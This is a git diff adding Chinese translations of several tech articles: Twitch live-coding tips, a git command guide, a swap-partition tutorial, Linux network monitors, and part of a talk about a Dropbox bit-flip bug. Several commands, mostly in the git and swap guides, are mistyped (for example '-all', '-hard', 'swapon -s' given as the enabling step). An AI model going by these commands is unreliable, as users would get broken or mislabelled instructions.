+我几个月前开始做这个,还没有回顾过。我甚至不确定我的观众们有没有意识到我进行的这些精心的设置。我想他们可能会把“我可以看到每个东西”视作理所应当,而事实上我常常忙于敲代码,而看不到正在直播的东西!
+
+你可能想知道为什么我只用一个显示器。这是因为两个显示器在我直播的时候太难以管理了。我很快意识到这一点,并且恢复了单屏。
+
+### 硬件
+
+我从使用便宜的器材开始,当我意识到我会长期坚持直播之后,才将他们逐渐换成更好的。开始的时候尽量使用你现有的器材,即使是只用电脑内置的摄像头与麦克风。
+
+现在我使用 Logitech Pro C920 网络摄像头,和一个固定有支架的 Blue Yeti 麦克风。花费是值得的。我直播的质量完全不同了。
+
+我使用大屏显示器(27"),因为我之前说的,使用两个屏幕对我来说不方便。我常常错过聊天,因为我经常不检查我的第二屏幕。你可能觉得使用两个屏幕很方便,但对我来说,把所有东西放在一个屏幕上有利于我对所有事情保持注意力。
+
+这基本上就是硬件部分的大部分内容了。我没有使用复杂的设置。
+
+如果你感兴趣,我的桌面看起来不错,除了刺眼的麦克风:
+
+
+
+### 建议
+
+最后这里有一些我通过实践得出的一般性建议,这使我的直播从整体来看变得更好,更有趣。
+
+#### 布告板
+
+花点时间建立一个好的布告版。布告板是位于每个人频道底部的小内容框。我把它们看作新的个人空间窗口(真的)。理想的布告板可以有类似于聊天规则,有关直播内容的信息,你使用的电脑和设备,你最喜欢的猫的种类,等等这样的东西。任何关于个人形象的内容都可以。我们可以看看其他人(尤其是热播播主)的理想的布告板是什么样的!
+
+一个我的布告板的例子:
+
+
+
+#### 聊天
+
+聊天真的很重要。你可能会被中途观看你直播的人一遍又一遍地问同样的问题,如果可以像现实生活中那样聊天那样会很方便。“你正在做什么?”是我敲代码的时候别人最常问我的问题。我用 [Nightbot][12] 设置了一个聊天快捷命令。当你输入一些像 _whatamidoing_(我正在做什么) 这样的单词时,会自动给出我事先设好的解释。
+
+当人们问问题或者给出一些有趣的评论时,要回复他们!和他们说谢谢,说他们的 Twitch 用的很好,他们会感谢你的关心和认可。一开始的时候很难对这些都保持注意力,但你做得多了之后,你会发现同时做这几件事变得更容易了。尝试着每两分钟就花几秒去关注聊天室。
+
+当你编程的时候,_解释你正在做的事_ 。多说点。开开玩笑。即使我碰到了麻烦,我也会说:“哦,糟糕,我忘了这个方法怎么用了,我 Google 一下看看”。人们一般都很友好,有时他们还会和你一起寻找解决的办法。这很有趣,让人们一直看着你。
+
+如果播主一直安静地坐在那敲代码,不去聊天,也不管他新粉丝的信息,我会很快对他失去兴趣。
+
+很可能你 99% 的观众都很友好,并且都有好奇心。我偶尔还是会碰到挑衅的人,但 Twitch 提供的检查工具可以有效避免这种情况。
+
+#### 准备时间
+
+尽量将你的配置“自动化”。我的终端是 iTerm ,它可以让你保存窗口排列和字体大小的配置,这样你以后就可以再现这些配置。我有一个直播时的配置和一个不直播时的配置,这非常省事。我输入一个命令,所有东西就都在合适的位置并保持最完美的尺寸,并可以使用了。
+
+还有其他的应用可以用来自动化你的窗口位置,看看有没有对你有用的。
+
+让你的字体在终端和编辑器中尽可能的大,这样所有人都能看清。
+
+#### 定期直播
+
+让你的日程表更有规律。我一周只直播一次,但总是在同一时间。如果你临时有事不能在你平常直播的时间直播,要让人们知道。这让我保持了一些固定观众。一些人喜欢固定的时间,这就像和朋友在一起一样。你和你的社区在一个社交圈子里,所以要像对待朋友一样对待他们。
+
+我想要提高我更新直播的频率,但我知道因为旅游的缘故我不能适应超过一周一次的直播频率。我正在尝试找到一种可以让我在路上也能高质量地直播的方法。或许可以临时将我聊天和写代码的过程保存起来,周末直播的时候再放出来。我仍然在探索这些办法!
+
+#### 紧张心理
+
+当你即将开始的时候,你会感觉很奇怪,不适应。你会在人们看着你写代码的时候感到紧张。这很正常!尽管我之前有过公共演说的经历,我一开始的时候还是感到陌生而不适应。我感觉我无处可藏,这令我害怕。我想:“大家可能都觉得我的代码很糟糕,我是一个糟糕的开发者。”这是一个困扰了我 _整个职业生涯_ 的想法,对我来说不新鲜了。我知道带着这些想法,我不能在发布到 GitHub 之前仔细地再检查一遍代码,而这样做更有利于我保持我作为开发者的声誉。
+
+我从 Twitch 直播中发现了很多关于我代码风格的东西。我知道我的风格绝对是“先让它跑起来,然后再考虑可读性,然后再考虑运行速度”。我不再在前一天晚上提前排练好直播的内容(一开始的三四次直播我都是这么做的),所以我在 Twitch 上写的代码是相当粗糙的,我还得保证它们运行起来没问题。当我不看别人的聊天和讨论的时候,我可以写出我最好的代码,这样是没问题的。但我总会忘记我使用过无数遍的方法的名字,而且每次直播的时候都会犯“愚蠢的”错误。一般来说,这不是一个让你能达到你最好状态的生产环境。
+
+我的 Twitch 社区从来不会因为这个苛求我,反而是他们帮了我很多。他们理解我正同时做着几件事,而且真的给了很多务实的意见和建议。有时是他们帮我找到了解决方法,有时是我要向他们解释为什么他们的建议不适合解决这个问题。这真的很像一般意义的组队编程!
+
+我想这种“不管重要不重要,什么都说”的情况对于直播这种媒介来说是一种优势,而不是劣势。它让我想的更多。理解一个观念很重要,那就是没有完美的程序员,也没有完美的代码。对于一个新手程序员来说这是令人耳目一新的经历,对我这个老手来说却是微不足道的。
+
+### 总结
+
+如果你想过在 Twitch 上直播,我希望你试一下!如果你想知道怎么迈出第一步,我希望这篇博客可以帮的到你。
+
+如果你周日想要加入我的直播,你可以 [订阅我的 Twitch 频道][13] :)
+
+最后我想说一下,我个人十分感谢 [Mattias Johansson][14] 在我早期开始直播的时候给我的建议和鼓励。他的 [FunFunFunction YouTube channel][15] 也是一个令人激动的定期直播频道。
+
+另:许多人问过我的键盘和其他工作设备是什么样的, [这是我使用的器材的完整列表][16] 。感谢关注!
+
+--------------------------------------------------------------------------------
+
+via: https://medium.freecodecamp.org/lessons-from-my-first-year-of-live-coding-on-twitch-41a32e2f41c1
+
+作者:[ Suz Hinton][a]
+译者:[lonaparte](https://github.com/lonaparte)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://medium.freecodecamp.org/@suzhinton
+[1]:https://www.twitch.tv/noopkat
+[2]:https://www.twitch.tv/handmade_hero
+[3]:http://nuclearthrone.com/twitch/
+[4]:https://twitter.com/nolanlawson
+[5]:https://www.youtube.com/watch?v=9FBvpKllTQQ
+[6]:https://github.com/noopkat/avrgirl-arduino
+[7]:https://www.reddit.com/r/Twitch/comments/4eyva6/a_guide_to_streaming_and_finding_success_on_twitch/
+[8]:https://obsproject.com/
+[9]:https://www.gimp.org/
+[10]:https://github.com/noopkat/study-temp
+[11]:https://streamlabs.com/
+[12]:https://beta.nightbot.tv/
+[13]:https://www.twitch.tv/noopkat
+[14]:https://twitter.com/mpjme
+[15]:https://www.youtube.com/channel/UCO1cgjhGzsSYb1rsB4bFe4Q
+[16]:https://gist.github.com/noopkat/5de56cb2c5917175c5af3831a274a2c8
diff --git a/translated/tech/20170730 Complete “Beginners to PRO” guide for GIT commands.md b/translated/tech/20170730 Complete “Beginners to PRO” guide for GIT commands.md
new file mode 100644
index 0000000000..dafacc412b
--- /dev/null
+++ b/translated/tech/20170730 Complete “Beginners to PRO” guide for GIT commands.md
@@ -0,0 +1,170 @@
+GIT 命令"从初学到专业"完整进阶指南
+===========
+
+在[之前的教程][1]中,我们已经学习了在机器上安装 git。本教程,我们将讨论如何使用 git,比如与 git 一起使用的各种命令。所以我们开始吧,
+(**推荐阅读:[如何在 Linux 上安装 GIT (Ubuntu 和 CentOS)][1]**)
+### 设置用户信息
+这应该是安装完 git 的第一步。我们将添加用户信息 (用户名和邮箱),所以当我们提交代码时,会产生带有用户信息的提交信息,这使得跟踪提交过程变得更容易。为了添加用户信息,命令是 `git config`,
+```
+$ git config --global user.name "Daniel"
+$ git config --global user.email "dan.mike@xyz.com"
+```
+添加完用户信息之后,通过运行下面命令,我们将检查这些信息是否成功更新,
+```
+$ git config --list
+```
+并且我们应该能够看到输出的用户信息。
+(**我们也应该读一下:[使用 CRONTAB 来安排重要的工作][3]**)
+### GIT 命令
+#### 新建一个仓库
+为了建立一个新仓库,运行如下命令,
+```
+$ git init
+```
+#### 查找一个仓库
+为了查找一个仓库,命令如下,
+```
+$ git grep "repository"
+```
+#### 与远程仓库连接
+为了与远程仓库连接,运行如下命令,
+```
+$ git remote add origin remote_server
+```
+然后检查所有配置的远程服务器,运行如下命令,
+```
+$ git remote -v
+```
+#### 克隆一个仓库
+为了从本地服务器克隆一个仓库,运行如下代码,
+```
+$ git clone repository_path
+```
+如果我们想克隆远程服务器上的一个仓库,那克隆这个仓库的命令是,
+```
+$ git clone repository_path
+```
+#### 在仓库中列出分支
+为了检查所有可用的和当前工作的分支列表,执行
+```
+$ git branch
+```
+#### 创建新分支
+创建并使用一个新分支,命令是
+```
+$ git checkout -b 'branchname'
+```
+#### 删除一个分支
+为了删除一个分支,执行
+```
+$ git branch -d 'branchname'
+```
+为了删除远程仓库的一个分支,执行
+```
+$ git push origin:'branchname'
+```
+#### 切换到另一个分支
+从当前分支切换到另一个分支,使用
+```
+$ git checkout 'branchname'
+```
+#### 添加文件
+添加文件到仓库,执行
+```
+$ git add filename
+```
+#### 文件状态
+检查文件状态 (那些将要提交或者添加的文件),执行
+```
+$ git status
+```
+#### 提交变更
+在我们添加一个文件或者对一个文件作出变更之后,我们通过运行下面命令来提交代码,
+```
+$ git commit -a
+```
+提交变更到 head 并且不提交到远程仓库,命令是,
+```
+$ git commit -m "message"
+```
+#### 推送变更
+推送对该仓库 master 分支所做的变更,运行
+```
+$ git push origin master
+```
+#### 推送分支到仓库
+推送对单分支做出的变更到远程仓库,运行
+```
+$ git push origin 'branchname'
+```
+推送所有分支到远程仓库,运行
+```
+$ git push -all origin
+```
+#### 合并两个分支
+合并另一个分支到当前活动分支,使用命令
+```
+$ git merge 'branchname'
+```
+#### 从远端服务器合并到本地服务器
+从远端服务器下载/拉取变更到到本地服务器的工作目录,运行
+```
+$ git pull
+```
+#### 检查合并冲突
+查看对库文件的合并冲突,运行
+```
+$ git diff -base 'filename'
+```
+查看所有冲突,运行
+```
+$ git diff
+```
+如果我们在合并之前想预览所有变更,运行
+```
+$ git diff 'source-branch' 'target-branch'
+```
+#### 创建标记
+创建标记来标志任一重要的变更,运行
+```
+$ git tag 'tag number' 'commit id'
+```
+通过运行以下命令,我们可以查找 commit id
+```
+$ git log
+```
+#### 推送标记
+推送所有创建的标记到远端服务器,运行
+```
+$ git push -tags origin
+```
+#### 回复做出的变更
+如果我们想用 head 中最后一次变更来替换对当前工作树的变更,运行
+```
+$ git checkout -'filename'
+```
+我们也可以从远端服务器获取最新的历史,并且将它指向本地仓库的 master 分支,而不是丢弃掉所有本地所做所有变更。为了这么做,运行
+```
+$ git fetch origin
+$ git reset -hard master
+```
+好了,伙计们。这些就是我们使用 git 服务器的命令。我们将会很快为大家带来更有趣的教程。如果你希望我们对某个特定话题写一个教程,请通过下面的评论箱告诉我们。像往常一样,您的意见和建议都是受欢迎的。
+
+--------------------------------------------------------------------------------
+
+via: http://linuxtechlab.com/beginners-to-pro-guide-for-git-commands/
+
+作者:[Shusain][a]
+译者:[liuxinyu123](https://github.com/liuxinyu123)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:http://linuxtechlab.com/author/shsuain/
+[1]:http://linuxtechlab.com/install-git-linux-ubuntu-centos/
+[2]:/cdn-cgi/l/email-protection
+[3]:http://linuxtechlab.com/scheduling-important-jobs-crontab/
+[4]:https://www.facebook.com/linuxtechlab/
+[5]:https://twitter.com/LinuxTechLab
+[6]:https://plus.google.com/+linuxtechlab
+[7]:http://linuxtechlab.com/contact-us-2/
\ No newline at end of file
diff --git a/translated/tech/20170802 Creating SWAP partition using FDISK - FALLOCATE commands.md b/translated/tech/20170802 Creating SWAP partition using FDISK - FALLOCATE commands.md
new file mode 100644
index 0000000000..455ade916c
--- /dev/null
+++ b/translated/tech/20170802 Creating SWAP partition using FDISK - FALLOCATE commands.md
@@ -0,0 +1,117 @@
+使用 FDISK 和 FALLOCATE 命令创建交换分区
+======
+交换分区在物理内存(RAM)被填满时用来保持内存中的内容. 当 RAM 被耗尽, Linux 会将内存中不活动的页移动到交换空间中,从而空出内存给系统使用. 虽然如此, 但交换空间不应被认为是可以用来替代物理内存/RAM的.
+
+大多数情况下, 建议交换内存的大小为物理内存的1到2倍. 也就是说如果你有8GB内存, 那么交换空间大小应该介于8-16 GB.
+
+若系统中没有配置交换分区, 当内存耗尽后,系统可能会杀掉正在运行中哦该的进程/应哟该从而导致系统崩溃. 在本文中, 我们将学会如何为Linux系统添加交换分区,我们有两个办法:
+
++ **使用 fdisk 命令**
++ **使用 fallocate 命令**
+
+
+
+### 第一个方法(使用 Fdisk 命令)
+
+通常, 系统的第一块硬盘会被命名为 **/dev/sda** 而其中的分区会命名为 **/dev/sda1** , **/dev/sda2**. 本文我们使用的石块有两个主分区的硬盘,两个分区分别为 /dev/sda1, /dev/sda2,而我们使用 /dev/sda3 来做交换分区.
+
+首先创建一个新分区,
+
+```
+$ fdisk /dev/sda
+```
+
+按 **' n'** 来创建新分区. 系统会询问你从哪个柱面开始, 直接按回车键使用默认值即可。然后系统询问你到哪个柱面结束, 这里我们输入交换分区的大小(比如1000MB). 这里我们输入 +1000M.
+
+![swap][2]
+
+现在我们创建了一个大小为 1000MB 的磁盘了。但是我们并没有设个分区的类型, 我们按下 **" t"** 然后回车来设置分区类型.
+
+现在我们要输入分区编号, 这里我们输入 **3**,然后输入磁盘分类id,交换分区的磁盘类型为 **82** (要显示所有可用的磁盘类型, 按下 **" l"** ) 然后再按下 " **w "** 保存磁盘分区表.
+
+![swap][4]
+
+再下一步使用 `mkswap` 命令来格式化交换分区
+
+```
+$ mkswap /dev/sda3
+```
+
+然后激活新建的交换分区
+
+```
+$ swapon /dev/sda3
+```
+
+然而我们的交换分区在重启后并不会自动挂载. 要做到永久挂载,我们需要添加内容道 `/etc/fstab` 文件中. 打开 `/etc/fstab` 文件并输入下面行
+
+```
+$ vi /etc/fstab
+```
+
+```
+/dev/sda3 swap swap default 0 0
+```
+
+保存并关闭文件. 现在每次重启后都能使用我们的交换分区了.
+
+### 第二种方法(使用 fallocate 命令)
+
+我推荐用这种方法因为这个是最简单,最快速的创建交换空间的方法了. Fallocate 是最被低估和使用最少的命令之一了. Fallocate 用于为文件预分配块/大小.
+
+使用 fallocate 创建交换空间, 我们首先在 ** '/'** 目录下创建一个名为 **swap_space** 的文件. 然后分配2GB道 swap_space 文件,
+
+```
+$ fallocate -l 2G /swap_space
+```
+
+我们运行下面命令来验证文件大小
+
+```
+ls-lh /swap_space.
+```
+
+然后更改文件权限,让 `/swap_space` 更安全
+
+```
+$ chmod 600 /swap_space**
+```
+
+这样只有 root 可以读写该文件了. 我们再来格式化交换分区(译者注:虽然这个swap_space应该是文件,但是我们把它当成是分区来挂载),
+
+```
+$ mkswap /swap_space
+```
+
+然后启用交换空间
+
+```
+$ swapon -s
+```
+
+每次重启后都要重现挂载磁盘分区. 因此为了使之持久话,就像上面一样,我们编辑 `/etc/fstab` 并输入下面行
+
+```
+/swap_space swap swap sw 0 0
+```
+
+保存并退出文件. 现在我们的交换分区会一直被挂载了. 我们重启后可以在终端运行 **free -m** 来检查交换分区是否生效.
+
+我们的教程至此就结束了, 希望本文足够容易理解和学习. 如果有任何疑问欢迎提出.
+
+
+--------------------------------------------------------------------------------
+
+via: http://linuxtechlab.com/create-swap-using-fdisk-fallocate/
+
+作者:[Shusain][a]
+译者:[lujun9972](https://github.com/lujun9972)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:http://linuxtechlab.com/author/shsuain/
+[1]:https://i1.wp.com/linuxtechlab.com/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif?resize=668%2C211
+[2]:https://i0.wp.com/linuxtechlab.com/wp-content/uploads/2017/02/fidsk.jpg?resize=668%2C211
+[3]:https://i1.wp.com/linuxtechlab.com/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif?resize=620%2C157
+[4]:https://i0.wp.com/linuxtechlab.com/wp-content/uploads/2017/02/fidsk-swap-select.jpg?resize=620%2C157
diff --git a/translated/tech/20171019 3 Simple Excellent Linux Network Monitors.md b/translated/tech/20171019 3 Simple Excellent Linux Network Monitors.md
new file mode 100644
index 0000000000..d1e68a4be1
--- /dev/null
+++ b/translated/tech/20171019 3 Simple Excellent Linux Network Monitors.md
@@ -0,0 +1,191 @@
+三款简单而优秀的Linux网络监视工具
+============================================================
+
+
+通过iftop,Nethogs和vnstat详细了解你的网络连接状态。[经许可使用][3]
+
+你可以通过这三个Linux命令了解当前网络的大量信息。iftop通过进程号跟踪网络连接,Nethogs快速告知你哪些进程在占用你的带宽,而vnstat以一个良好的轻量级守护进程在后台运行,并实时记录你的网络使用情况。
+
+### iftop
+
+优秀的iftop可以监听您指定的网络接口,并以top的样式呈现。
+
+这是一个不错的小工具,用于找出网络拥塞,测速和维持网络流量总量。看到自己到底在用多少带宽往往是非常惊人的,尤其是对于我们这些仍然记得电话线路,调制解调器,“高速”到令人惊叫的kb和实时波特率的老人们。我们在很久之前就不再使用波特率,转而钟情于比特率。波特率用于衡量信号变化,尽管有时候与比特率相同,但大多数情况下并非如此。
+
+如果你只有一个网络接口,直接运行iftop即可。不过iftop需要root权限:
+
+```
+$ sudo iftop
+```
+
+如果你有多个,那就指定你要监控的接口:
+
+```
+$ sudo iftop -i wlan0
+```
+
+就像top命令一样,你可以在命令运行时更改显示选项:
+
+* **h** 切换帮助界面。
+
+* **n** 是否解析域名。
+
+* **s** 切换源地址的显示,**d**则切换目的地址的显示。
+
+* **S** 是否显示端口号。
+
+* **N** 是否解析端口;若关闭解析则显示端口号。
+
+* **t**切换文本显示接口。默认的显示方式需要ncurses。我个人认为图1的显示方式在组织性和可读性都更加良好。
+
+* **p** 暂停显示更新。
+
+* **q** 退出程序。
+
+
+
+图 1:组织性和可读性良好的文本显示。[经许可使用][1]
+
+当你切换显示设置的时候,iftop并不会中断监测流量。当然你也可以单独监测一台主机。而这需要主机的IP地址和子网掩码。现在,我很好奇Pandora(译者注:一家美国的电台公司)能给我贫瘠的带宽带来多大的负载。因此我首先使用dig命令找到他们的IP地址:
+
+```
+$ dig A pandora.com
+[...]
+;; ANSWER SECTION:
+pandora.com. 267 IN A 208.85.40.20
+pandora.com. 267 IN A 208.85.40.50
+```
+
+那子网掩码呢?[ipcalc][9]会告诉我们:
+
+```
+$ ipcalc -b 208.85.40.20
+Address: 208.85.40.20
+Netmask: 255.255.255.0 = 24
+Wildcard: 0.0.0.255
+=>
+Network: 208.85.40.0/24
+```
+
+现在,将IP地址和子网掩码提供给iftop:
+
+```
+$ sudo iftop -F 208.85.40.20/24 -i wlan0
+```
+
+很棒的不是么?而我也很惊奇地发现,Pandora在我的网络上,每小时大约使用500kb。并且就像大多数流媒体服务一样,Pandora的流量在迅速增长,并依靠缓存稳定下来。
+
+
+你可以使用**-G**选项对IPv6地址执行相同的操作。查阅友好的man可以帮助你了解iftop的其他功能,包括使用个人配置文件自定义你的默认选项,以及使用自定义过滤(请参阅 [PCAP-FILTER][10] 来获取过滤指南)。
+
+### Nethogs
+
+当你想要快速了解是谁在吸取你的带宽的时候,Nethogs是个快速而简单的方法。你需要以root身份运行并指定要监听的接口。它会给你显示大量的应用程序及其进程号,所以如果你想的话,你可以借此杀死任一进程。
+
+```
+$ sudo nethogs wlan0
+
+NetHogs version 0.8.1
+
+PID USER PROGRAM DEV SENT RECEIVED
+7690 carla /usr/lib/firefox wlan0 12.494 556.580 KB/sec
+5648 carla .../chromium-browser wlan0 0.052 0.038 KB/sec
+TOTAL 12.546 556.618 KB/sec
+```
+
+Nethogs并没有多少选项:在kb/s,kb,b,mb之间循环,按接收和发送的数据包排序,调整刷新延迟。具体请看`man nethogs`,或者是运行`nethogs -h`。
+
+### vnstat
+
+[vnstat][11]是最容易使用的网络数据收集工具。它十分轻量并且不需要root权限。它以守护进程在后台运行,因此可以实时地记录你的网络数据。单个`vnstat`命令就可以显示所累计的数据。
+
+```
+$ vnstat -i wlan0
+Database updated: Tue Oct 17 08:36:38 2017
+
+ wlan0 since 10/17/2017
+
+ rx: 45.27 MiB tx: 3.77 MiB total: 49.04 MiB
+
+ monthly
+ rx | tx | total | avg. rate
+ ------------------------+-------------+-------------+---------------
+ Oct '17 45.27 MiB | 3.77 MiB | 49.04 MiB | 0.28 kbit/s
+ ------------------------+-------------+-------------+---------------
+ estimated 85 MiB | 5 MiB | 90 MiB |
+
+ daily
+ rx | tx | total | avg. rate
+ ------------------------+-------------+-------------+---------------
+ today 45.27 MiB | 3.77 MiB | 49.04 MiB | 12.96 kbit/s
+ ------------------------+-------------+-------------+---------------
+ estimated 125 MiB | 8 MiB | 133 MiB |
+```
+
+默认情况下它会显示所有的网络接口。使用`-i`选项来选择某个接口。也可以像这样合并多个接口的数据:
+
+```
+$ vnstat -i wlan0+eth0+eth1
+```
+
+你可以通过这几种方式过滤数据显示:
+
+* **-h** 按小时显示统计信息。
+
+* **-d** 按天显示统计信息.
+
+* **-w**和**-m**分别按周和月份来显示统计信息。
+
+* 使用**-l**选项查看实时更新。
+
+以下这条命令将会删除wlan1的数据库并不再监视它:
+
+```
+$ vnstat -i wlan1 --delete
+```
+
+而这条命令将会为你的一个网络接口创建一个别名。这个例子使用了Ubuntu16.04的一个有线接口名称:
+
+```
+$ vnstat -u -i enp0s25 --nick eth0
+```
+
+默认情况下,vnstat会监视eth0。你可以在`/etc/vnstat.conf`对它进行修改,或者在你的home目录下创建你自己的个人配置文件。请参阅`man vnstat`以获取完整的指南。
+
+你也可以安装vnstati来创建简单的彩图(图 2):
+
+```
+$ vnstati -s -i wlx7cdd90a0a1c2 -o vnstat.png
+```
+
+
+
+图 2:你可以使用vnstati来创建简单的彩图。[经许可使用][2]
+
+请参阅`man vnstati`以获取完整的选项。
+
+
+_欲了解 Linux 的更多信息,可以通过学习 Linux 基金会和 edX 的免费课程,[“Linux 入门”][7]。_
+
+--------------------------------------------------------------------------------
+
+via: https://www.linux.com/learn/intro-to-linux/2017/10/3-simple-excellent-linux-network-monitors
+
+作者:[CARLA SCHRODER ][a]
+译者:[KeyLD](https://github.com/KeyLD)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://www.linux.com/users/cschroder
+[1]:https://www.linux.com/licenses/category/used-permission
+[2]:https://www.linux.com/licenses/category/used-permission
+[3]:https://www.linux.com/licenses/category/used-permission
+[4]:https://www.linux.com/files/images/fig-1png-8
+[5]:https://www.linux.com/files/images/fig-2png-5
+[6]:https://www.linux.com/files/images/bannerpng-3
+[7]:https://training.linuxfoundation.org/linux-courses/system-administration-training/introduction-to-linux
+[8]:http://www.ex-parrot.com/pdw/iftop/
+[9]:https://www.linux.com/learn/intro-to-linux/2017/8/how-calculate-network-addresses-ipcalc
+[10]:http://www.tcpdump.org/manpages/pcap-filter.7.html
+[11]:http://humdi.net/vnstat/
diff --git a/translated/tech/20171112 Love Your Bugs.md b/translated/tech/20171112 Love Your Bugs.md
new file mode 100644
index 0000000000..9203cf52bb
--- /dev/null
+++ b/translated/tech/20171112 Love Your Bugs.md
@@ -0,0 +1,303 @@
+热爱你的 Bug
+============================================================
+
+十月初的时候我在贝洛奥里藏特的[巴西 Python 大会][1]上做了主题演讲。这是稍加改动过的演讲文稿。你可以在[这里][2]观看演讲视频。
+
+### 我爱 bug
+
+我目前是 [Pilot.com][3] 的一位高级工程师,负责给创业公司提供自动记账服务。在此之前,我曾是 [Dropbox][4] 的桌面客户端组的成员,我今天将分享关于我当时工作的一些故事。更早之前,我是 [Recurse Center][5] 的导师,给身在纽约的程序员提供临时的训练环境。在成为工程师之前,我在大学攻读天体物理学并在金融界工作过几年。
+
+但这些都不重要——关于我你唯一需要知道的是,我爱 bug。我爱 bug 因为它们有趣。它们富有戏剧性。调试一个好的 bug 的过程可以非常迂回曲折。一个好的 bug 像是一个有趣的笑话或者或者谜语——你期望看到某种结果,但却事与愿违。
+
+在这个演讲中我会给你们讲一些我曾经热爱过的 bug,解释为什么我如此爱 bug,然后说服你们也同样去热爱 bug。
+
+### Bug 1 号
+
+好,让我们直接来看第一个 bug。这是我在 Dropbox 工作时遇到的一个 bug。你们或许听说过,Dropbox 是一个将你的文件从一个电脑上同步到云端和其他电脑上的应用。
+
+
+
+```
+ +--------------+ +---------------+
+ | | | |
+ | METASERVER | | BLOCKSERVER |
+ | | | |
+ +-+--+---------+ +---------+-----+
+ ^ | ^
+ | | |
+ | | +----------+ |
+ | +---> | | |
+ | | CLIENT +--------+
+ +--------+ |
+ +----------+
+```
+
+
+这是个极度简化的 Dropbox 架构图。桌面客户端在你的电脑本地运行,监听文件系统的变动。当它检测到文件改动时,它读取改变的文件,并把它的内容 hash 成 4 MB 大小的文件块。这些文件块被存放在后端一个叫做块服务器的巨大的键值对数据库中。
+
+当然,我们想避免多次上传同一个文件块。可以想见,如果你在编写一份文档,你应该大部分时候都在改动文档最底部——我们不想一遍又一遍地上传开头部分。所以在上传文件块到块服务器之前之前,客户端会先和一个负责管理元数据和权限等等的服务器沟通。客户端会询问这个元数据服务器它是需要这个文件块,还是已经见过这个文件块了。元数据服务器会返回每一个文件块是否需要上传。
+
+所以这些请求和响应看上去大概是这样:客户端说“我有一个改动过的文件,分为这些文件块,它们的 hash 是 `'abcd,deef,efgh'`。服务器响应说“我有前两块,但需要你上传第三块”。然后客户端会把那个文件块上传到块服务器。
+
+```
+ +--------------+ +---------------+
+ | | | |
+ | 元数据服务器 | | 块服务器 |
+ | | | |
+ +-+--+---------+ +---------+-----+
+ ^ | ^
+ | | '有, 有, 无' |
+'abcd,deef,efgh' | | +----------+ | efgh: [内容]
+ | +---> | | |
+ | | 客户端 +--------+
+ +--------+ |
+ +----------+
+```
+
+这是问题的背景。下面是 bug。
+
+```
+ +--------------+
+ | |
+ | 块服务器 |
+ | |
+ +-+--+---------+
+ ^ |
+ | | '???'
+'abcdldeef,efgh' | | +----------+
+ ^ | +---> | |
+ ^ | | 客户端 +
+ +--------+ |
+ +----------+
+```
+
+有时候客户端会提交一个奇怪的请求:每个 hash 值应该包含 16 个字母,但它却发送了 33 个字母——所需数量的两倍加一。服务器不知道该怎么处理它,于是会抛出一个异常。我们收到这个异常的报告,于是去查看客户端的记录文件,然后会看到非常奇怪的事情——客户端的本地数据库损坏了,或者 python 抛出 MemoryError,没有一个合乎情理的。
+
+如果你以前没见过这个问题,可能会觉得毫无头绪。但当你见过一次之后,你以后每次看到都能轻松地认出它来。给你一个提示:在那些 33 个字母的字符串中,`l` 经常会代替逗号出现。其他经常出现的字符是:
+
+```
+l \x0c < $ ( . -
+```
+
+英文逗号的 ASCII 码是44。`l` 的 ASCII 码是 108。它们的二进制表示如下:
+
+```
+bin(ord(',')): 0101100
+bin(ord('l')): 1101100
+```
+
+你会注意到 `l` 和逗号只差了一位。问题就出在这里:发生了位反转。桌面客户端使用的内存中的一位发生了错误,于是客户端开始向服务器发送错误的请求。
+
+这是其他经常代替逗号出现的字符的 ASCII 码:
+
+```
+, : 0101100
+l : 1101100
+\x0c : 0001100
+< : 0111100
+$ : 0100100
+( : 0101000
+. : 0101110
+- : 0101101
+```
+
+
+### 位反转是真的!
+
+我爱这个 bug 因为它证明了位反转是可能真实发生的事情,而不只是一个理论上的问题。实际上,它在某些情况下会比平时更容易发生。其中一种情况是用户使用的是低配或者老旧的硬件,而运行 Dropbox 的电脑很多都是这样。另外一种会造成很多位反转的地方是外太空——在太空中没有大气层来保护你的内存不受高能粒子和辐射的影响,所以位反转会十分常见。
+
+你大概非常在乎在宇宙中运行的程序的正确性——你的代码或许事关国际空间站中宇航员的性命,但即使没有那么重要,也还要考虑到在宇宙中很难进行软件更新。如果你的确需要让你的程序能够处理位反转,有很多硬件和软件措施可供你选择,Katie Betchold 还关于这个问题做过一个[非常有意思的讲座][6]。
+
+在刚才那种情况下,Dropbox 并不需要处理位反转。出现内存损坏的是用户的电脑,所以即使我们可以检测到逗号字符的位反转,但如果这发生在其他字符上我们就不一定能检测到了,而且如果从硬盘中读取的文件本身发生了位反转,那我们根本无从得知。我们能改进的地方很少,于是我们决定无视这个异常并继续程序的运行。这种 bug 一般都会在客户端重启之后自动解决。
+
+### 不常见的 bug 并非不可能发生
+
+这是我最喜欢的 bug 之一,有几个原因。第一,它提醒我注意不常见和不可能之间的区别。当规模足够大的时候,不常见的现象会以值得注意的频率发生。
+
+### 覆盖面广的 bug
+
+这个 bug 第二个让我喜欢的地方是它覆盖面非常广。每当桌面客户端和服务器交流的时候,这个 bug 都可能悄然出现,而这可能会发生在系统里很多不同的端点和组件当中。这意味着许多不同的 Dropbox 工程师会看到这个 bug 的各种版本。你第一次看到它的时候,你 _真的_ 会满头雾水,但在那之后诊断这个 bug 就变得很容易了,而调查过程也非常简短:你只需找到中间的字母,看它是不是个 `l`。
+
+### 文化差异
+
+这个 bug 的一个有趣的副作用是它展示了服务器组和客户端组之间的文化差异。有时候这个 bug 会被服务器组的成员发现并展开调查。如果你的 _服务器_ 上发生了位反转,那应该不是个偶然——这很可能是内存损坏,你需要找到受影响的主机并尽快把它从集群中移除,不然就会有损坏大量用户数据的风险。这是个事故,而你必须迅速做出反应。但如果是用户的电脑在破坏数据,你并没有什么可以做的。
+
+### 分享你的 bug
+
